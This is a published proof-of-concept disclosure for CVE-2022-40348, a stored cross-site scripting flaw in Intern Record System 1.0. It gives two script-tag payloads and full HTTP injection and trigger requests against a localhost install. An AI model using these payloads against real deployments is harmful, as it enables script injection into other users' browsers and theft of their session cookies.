CVE-2022-40348: Intern Record System - 'name' and 'email' Cross-site Scripting (Unauthenticated XSS)
- Exploit Title: Intern Record System - 'name' and 'email' Cross-site Scripting (Unauthenticated XSS)
- Date: 2022-06-09
- Exploit Author: Hamdi Sevben
- Vendor Homepage: https://code-projects.org/intern-record-system-in-php-with-source-code/
- Software Link: https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip
- Version: 1.0
- Tested on: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53
- CVE: CVE-2022-40348
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40348
- https://nvd.nist.gov/vuln/detail/CVE-2022-40348
Intern Record System 1.0 allows Stored Cross-site Scripting via parameters 'name' and 'email' in "/intern/controller.php". Intern Record System is vulnerable to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
- Burpsuite request on 'name' or 'email' parameters with payloads on http://localhost/intern/controller.php
- Go to http://localhost/intern/view.php page
- Refresh the page.
- The XSS will be triggered.
- Alert will popup.
- Payload-1:
<script>alert(document.domain)</script>
- Payload-2:
<script>alert(document.cookie)</script>
- Injection:
POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
name=<script>alert(document.domain)</script>&email=&phone=&deptType=3
- Identification Page:
GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
- Injection:
POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
name=&email=<script>alert(document.cookie)</script>&phone=&deptType=3
- Identification Page:
GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36